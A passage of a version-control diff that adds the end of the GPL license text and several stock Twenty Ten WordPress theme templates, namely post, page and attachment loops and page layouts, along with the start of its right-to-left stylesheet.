+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
Index: /tags/4.1.6/src/wp-content/themes/twentyten/loop-attachment.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/loop-attachment.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/loop-attachment.php	(revision 33402)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * The loop that displays an attachment
+ *
+ * The loop displays the posts and the post content. See
+ * http://codex.wordpress.org/The_Loop to understand it and
+ * http://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop-attachment.php.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.2
+ */
+?>
+
+<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
+
+				<?php if ( ! empty( $post->post_parent ) ) : ?>
+					<p class="page-title"><a href="<?php echo esc_url( get_permalink( $post->post_parent ) ); ?>" title="<?php echo esc_attr( sprintf( __( 'Return to %s', 'twentyten' ), strip_tags( get_the_title( $post->post_parent ) ) ) ); ?>" rel="gallery"><?php
+						/* translators: %s - title of parent post */
+						printf( __( '<span class="meta-nav">&larr;</span> %s', 'twentyten' ), get_the_title( $post->post_parent ) );
+					?></a></p>
+				<?php endif; ?>
+
+				<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<h2 class="entry-title"><?php the_title(); ?></h2>
+
+					<div class="entry-meta">
+						<?php
+							printf( __( '<span class="%1$s">By</span> %2$s', 'twentyten' ),
+								'meta-prep meta-prep-author',
+								sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
+									get_author_posts_url( get_the_author_meta( 'ID' ) ),
+									esc_attr( sprintf( __( 'View all posts by %s', 'twentyten' ), get_the_author() ) ),
+									get_the_author()
+								)
+							);
+						?>
+						<span class="meta-sep">|</span>
+						<?php
+							printf( __( '<span class="%1$s">Published</span> %2$s', 'twentyten' ),
+								'meta-prep meta-prep-entry-date',
+								sprintf( '<span class="entry-date"><abbr class="published" title="%1$s">%2$s</abbr></span>',
+									esc_attr( get_the_time() ),
+									get_the_date()
+								)
+							);
+							if ( wp_attachment_is_image() ) {
+								echo ' <span class="meta-sep">|</span> ';
+								$metadata = wp_get_attachment_metadata();
+								printf( __( 'Full size is %s pixels', 'twentyten' ),
+									sprintf( '<a href="%1$s" title="%2$s">%3$s &times; %4$s</a>',
+										esc_url( wp_get_attachment_url() ),
+										esc_attr( __( 'Link to full-size image', 'twentyten' ) ),
+										$metadata['width'],
+										$metadata['height']
+									)
+								);
+							}
+						?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-meta -->
+
+					<div class="entry-content">
+						<div class="entry-attachment">
+<?php if ( wp_attachment_is_image() ) :
+	$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+	foreach ( $attachments as $k => $attachment ) {
+		if ( $attachment->ID == $post->ID )
+			break;
+	}
+
+	// If there is more than 1 image attachment in a gallery
+	if ( count( $attachments ) > 1 ) {
+		$k++;
+		if ( isset( $attachments[ $k ] ) )
+			// get the URL of the next image attachment
+			$next_attachment_url = get_attachment_link( $attachments[ $k ]->ID );
+		else
+			// or get the URL of the first image attachment
+			$next_attachment_url = get_attachment_link( $attachments[ 0 ]->ID );
+	} else {
+		// or, if there's only 1 image attachment, get the URL of the image
+		$next_attachment_url = wp_get_attachment_url();
+	}
+?>
+						<p class="attachment"><a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php
+							/**
+							 * Filter the Twenty Ten default attachment width.
+							 *
+							 * @since Twenty Ten 1.0
+							 *
+							 * @param int The default attachment width in pixels. Default 900.
+							 */
+							$attachment_width  = apply_filters( 'twentyten_attachment_size', 900 );
+							/**
+							 * Filter the Twenty Ten default attachment height.
+							 *
+							 * @since Twenty Ten 1.0
+							 *
+							 * @param int The default attachment height in pixels. Default 900.
+							 */
+							$attachment_height = apply_filters( 'twentyten_attachment_height', 900 );
+							echo wp_get_attachment_image( $post->ID, array( $attachment_width, $attachment_height ) ); // filterable image width with, essentially, no limit for image height.
+						?></a></p>
+
+						<div id="nav-below" class="navigation">
+							<div class="nav-previous"><?php previous_image_link( false ); ?></div>
+							<div class="nav-next"><?php next_image_link( false ); ?></div>
+						</div><!-- #nav-below -->
+<?php else : ?>
+						<a href="<?php echo esc_url( wp_get_attachment_url() ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php echo basename( get_permalink() ); ?></a>
+<?php endif; ?>
+						</div><!-- .entry-attachment -->
+						<div class="entry-caption"><?php if ( !empty( $post->post_excerpt ) ) the_excerpt(); ?></div>
+
+<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?>
+<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+
+					</div><!-- .entry-content -->
+
+					<div class="entry-utility">
+						<?php twentyten_posted_in(); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), ' <span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-utility -->
+				</div><!-- #post-## -->
+
+<?php comments_template(); ?>
+
+<?php endwhile; // end of the loop. ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/loop-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/loop-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/loop-page.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * The loop that displays a page
+ *
+ * The loop displays the posts and the post content. See
+ * http://codex.wordpress.org/The_Loop to understand it and
+ * http://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop-page.php.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.2
+ */
+?>
+
+<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
+
+				<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<?php if ( is_front_page() ) { ?>
+						<h2 class="entry-title"><?php the_title(); ?></h2>
+					<?php } else { ?>
+						<h1 class="entry-title"><?php the_title(); ?></h1>
+					<?php } ?>
+
+					<div class="entry-content">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-content -->
+				</div><!-- #post-## -->
+
+				<?php comments_template( '', true ); ?>
+
+<?php endwhile; // end of the loop. ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/loop-single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/loop-single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/loop-single.php	(revision 33402)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * The loop that displays a single post
+ *
+ * The loop displays the posts and the post content. See
+ * http://codex.wordpress.org/The_Loop to understand it and
+ * http://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop-single.php.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.2
+ */
+?>
+
+<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
+
+				<div id="nav-above" class="navigation">
+					<div class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentyten' ) . '</span> %title' ); ?></div>
+					<div class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentyten' ) . '</span>' ); ?></div>
+				</div><!-- #nav-above -->
+
+				<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<h1 class="entry-title"><?php the_title(); ?></h1>
+
+					<div class="entry-meta">
+						<?php twentyten_posted_on(); ?>
+					</div><!-- .entry-meta -->
+
+					<div class="entry-content">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+					</div><!-- .entry-content -->
+
+<?php if ( get_the_author_meta( 'description' ) ) : // If a user has filled out their description, show a bio on their entries  ?>
+					<div id="entry-author-info">
+						<div id="author-avatar">
+							<?php
+							/** This filter is documented in author.php */
+							echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyten_author_bio_avatar_size', 60 ) );
+							?>
+						</div><!-- #author-avatar -->
+						<div id="author-description">
+							<h2><?php printf( __( 'About %s', 'twentyten' ), get_the_author() ); ?></h2>
+							<?php the_author_meta( 'description' ); ?>
+							<div id="author-link">
+								<a href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>" rel="author">
+									<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentyten' ), get_the_author() ); ?>
+								</a>
+							</div><!-- #author-link	-->
+						</div><!-- #author-description -->
+					</div><!-- #entry-author-info -->
+<?php endif; ?>
+
+					<div class="entry-utility">
+						<?php twentyten_posted_in(); ?>
+						<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .entry-utility -->
+				</div><!-- #post-## -->
+
+				<div id="nav-below" class="navigation">
+					<div class="nav-previous"><?php previous_post_link( '%link', '<span class="meta-nav">' . _x( '&larr;', 'Previous post link', 'twentyten' ) . '</span> %title' ); ?></div>
+					<div class="nav-next"><?php next_post_link( '%link', '%title <span class="meta-nav">' . _x( '&rarr;', 'Next post link', 'twentyten' ) . '</span>' ); ?></div>
+				</div><!-- #nav-below -->
+
+				<?php comments_template( '', true ); ?>
+
+<?php endwhile; // end of the loop. ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/loop.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/loop.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/loop.php	(revision 33402)
@@ -0,0 +1,182 @@
+<?php
+/**
+ * The loop that displays posts
+ *
+ * The loop displays the posts and the post content. See
+ * http://codex.wordpress.org/The_Loop to understand it and
+ * http://codex.wordpress.org/Template_Tags to understand
+ * the tags used in it.
+ *
+ * This can be overridden in child themes with loop.php or
+ * loop-template.php, where 'template' is the loop context
+ * requested by a template. For example, loop-index.php would
+ * be used if it exists and we ask for the loop with:
+ * <code>get_template_part( 'loop', 'index' );</code>
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+<?php /* Display navigation to next/previous pages when applicable */ ?>
+<?php if ( $wp_query->max_num_pages > 1 ) : ?>
+	<div id="nav-above" class="navigation">
+		<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyten' ) ); ?></div>
+		<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+	</div><!-- #nav-above -->
+<?php endif; ?>
+
+<?php /* If there are no posts to display, such as an empty archive page */ ?>
+<?php if ( ! have_posts() ) : ?>
+	<div id="post-0" class="post error404 not-found">
+		<h1 class="entry-title"><?php _e( 'Not Found', 'twentyten' ); ?></h1>
+		<div class="entry-content">
+			<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?></p>
+			<?php get_search_form(); ?>
+		</div><!-- .entry-content -->
+	</div><!-- #post-0 -->
+<?php endif; ?>
+
+<?php
+	/*
+	 * Start the Loop.
+	 *
+	 * In Twenty Ten we use the same loop in multiple contexts.
+	 * It is broken into three main parts: when we're displaying
+	 * posts that are in the gallery category, when we're displaying
+	 * posts in the asides category, and finally all other posts.
+	 *
+	 * Additionally, we sometimes check for whether we are on an
+	 * archive page, a search page, etc., allowing for small differences
+	 * in the loop on each template without actually duplicating
+	 * the rest of the loop that is shared.
+	 *
+	 * Without further ado, the loop:
+	 */
+?>
+<?php while ( have_posts() ) : the_post(); ?>
+
+<?php /* How to display posts of the Gallery format. The gallery category is the old way. */ ?>
+
+	<?php if ( ( function_exists( 'get_post_format' ) && 'gallery' == get_post_format( $post->ID ) ) || in_category( _x( 'gallery', 'gallery category slug', 'twentyten' ) ) ) : ?>
+		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+			<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+
+			<div class="entry-meta">
+				<?php twentyten_posted_on(); ?>
+			</div><!-- .entry-meta -->
+
+			<div class="entry-content">
+<?php if ( post_password_required() ) : ?>
+				<?php the_content(); ?>
+<?php else : ?>
+				<?php
+					$images = twentyten_get_gallery_images();
+					if ( $images ) :
+						$total_images = count( $images );
+						$image = array_shift( $images );
+				?>
+						<div class="gallery-thumb">
+							<a class="size-thumbnail" href="<?php the_permalink(); ?>"><?php echo wp_get_attachment_image( $image, 'thumbnail' ); ?></a>
+						</div><!-- .gallery-thumb -->
+						<p><em><?php printf( _n( 'This gallery contains <a %1$s>%2$s photo</a>.', 'This gallery contains <a %1$s>%2$s photos</a>.', $total_images, 'twentyten' ),
+								'href="' . get_permalink() . '" title="' . esc_attr( sprintf( __( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ) ) . '" rel="bookmark"',
+								number_format_i18n( $total_images )
+							); ?></em></p>
+				<?php endif; // end twentyten_get_gallery_images() check ?>
+						<?php the_excerpt(); ?>
+<?php endif; ?>
+			</div><!-- .entry-content -->
+
+			<div class="entry-utility">
+			<?php if ( function_exists( 'get_post_format' ) && 'gallery' == get_post_format( $post->ID ) ) : ?>
+				<a href="<?php echo get_post_format_link( 'gallery' ); ?>" title="<?php esc_attr_e( 'View Galleries', 'twentyten' ); ?>"><?php _e( 'More Galleries', 'twentyten' ); ?></a>
+				<span class="meta-sep">|</span>
+			<?php elseif ( $gallery = get_term_by( 'slug', _x( 'gallery', 'gallery category slug', 'twentyten' ), 'category' ) && in_category( $gallery->term_id ) ) : ?>
+				<a href="<?php echo get_category_link( $gallery ); ?>" title="<?php esc_attr_e( 'View posts in the Gallery category', 'twentyten' ); ?>"><?php _e( 'More Galleries', 'twentyten' ); ?></a>
+				<span class="meta-sep">|</span>
+			<?php endif; ?>
+				<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span>
+				<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+			</div><!-- .entry-utility -->
+		</div><!-- #post-## -->
+
+<?php /* How to display posts of the Aside format. The asides category is the old way. */ ?>
+
+	<?php elseif ( ( function_exists( 'get_post_format' ) && 'aside' == get_post_format( $post->ID ) ) || in_category( _x( 'asides', 'asides category slug', 'twentyten' ) )  ) : ?>
+		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+		<?php if ( is_archive() || is_search() ) : // Display excerpts for archives and search. ?>
+			<div class="entry-summary">
+				<?php the_excerpt(); ?>
+			</div><!-- .entry-summary -->
+		<?php else : ?>
+			<div class="entry-content">
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?>
+			</div><!-- .entry-content -->
+		<?php endif; ?>
+
+			<div class="entry-utility">
+				<?php twentyten_posted_on(); ?>
+				<span class="meta-sep">|</span>
+				<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span>
+				<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+			</div><!-- .entry-utility -->
+		</div><!-- #post-## -->
+
+<?php /* How to display all other posts. */ ?>
+
+	<?php else : ?>
+		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+			<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+
+			<div class="entry-meta">
+				<?php twentyten_posted_on(); ?>
+			</div><!-- .entry-meta -->
+
+	<?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?>
+			<div class="entry-summary">
+				<?php the_excerpt(); ?>
+			</div><!-- .entry-summary -->
+	<?php else : ?>
+			<div class="entry-content">
+				<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?>
+				<?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'twentyten' ), 'after' => '</div>' ) ); ?>
+			</div><!-- .entry-content -->
+	<?php endif; ?>
+
+			<div class="entry-utility">
+				<?php if ( count( get_the_category() ) ) : ?>
+					<span class="cat-links">
+						<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?>
+					</span>
+					<span class="meta-sep">|</span>
+				<?php endif; ?>
+				<?php
+					$tags_list = get_the_tag_list( '', ', ' );
+					if ( $tags_list ):
+				?>
+					<span class="tag-links">
+						<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?>
+					</span>
+					<span class="meta-sep">|</span>
+				<?php endif; ?>
+				<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?></span>
+				<?php edit_post_link( __( 'Edit', 'twentyten' ), '<span class="meta-sep">|</span> <span class="edit-link">', '</span>' ); ?>
+			</div><!-- .entry-utility -->
+		</div><!-- #post-## -->
+
+		<?php comments_template( '', true ); ?>
+
+	<?php endif; // This was the if statement that broke the loop into three parts based on categories. ?>
+
+<?php endwhile; // End the loop. Whew. ?>
+
+<?php /* Display navigation to next/previous pages when applicable */ ?>
+<?php if (  $wp_query->max_num_pages > 1 ) : ?>
+				<div id="nav-below" class="navigation">
+					<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentyten' ) ); ?></div>
+					<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+				</div><!-- #nav-below -->
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/onecolumn-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/onecolumn-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/onecolumn-page.php	(revision 33402)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Template Name: One column, no sidebar
+ *
+ * A custom page template without sidebar.
+ *
+ * The "Template Name:" bit above allows this to be selectable
+ * from a dropdown menu on the edit page screen.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container" class="one-column">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the page.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-page.php and that will be used instead.
+			 */
+			 get_template_part( 'loop', 'page' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/page.php	(revision 33402)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site will use a
+ * different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the page.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-page.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'page' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/rtl.css	(revision 33402)
@@ -0,0 +1,285 @@
+/*
+Theme Name: Twenty Ten
+*/
+
+
+/*
+RTL Basics
+*/
+
+
+body {
+	direction:rtl;
+	unicode-bidi:embed;
+}
+
+
+/*
+LAYOUT: Two-Column (Right)
+DESCRIPTION: Two-column fixed layout with one sidebar right of content
+*/
+
+#container {
+	float: right;
+	margin: 0 0 0 -240px;
+}
+#content {
+	margin: 0 20px 36px 280px;
+}
+#primary,
+#secondary {
+	float: left;
+}
+#secondary {
+	clear: left;
+}
+
+
+/* =Fonts
+-------------------------------------------------------------- */
+body,
+input,
+textarea,
+.page-title span,
+.pingback a.url,
+h3#comments-title,
+h3#reply-title,
+#access .menu,
+#access div.menu ul,
+#cancel-comment-reply-link,
+.form-allowed-tags,
+#site-info,
+#site-title,
+#wp-calendar,
+.comment-meta,
+.comment-body tr th,
+.comment-body thead th,
+.entry-content label,
+.entry-content tr th,
+.entry-content thead th,
+.entry-meta,
+.entry-title,
+.entry-utility,
+#respond label,
+.navigation,
+.page-title,
+.pingback p,
+.reply,
+.widget-title,
+input[type="submit"] {
+	font-family: Arial, Tahoma, sans-serif;
+}
+
+/* =Structure
+-------------------------------------------------------------- */
+
+/* The main theme structure */
+#footer-widget-area .widget-area {
+	float: right;
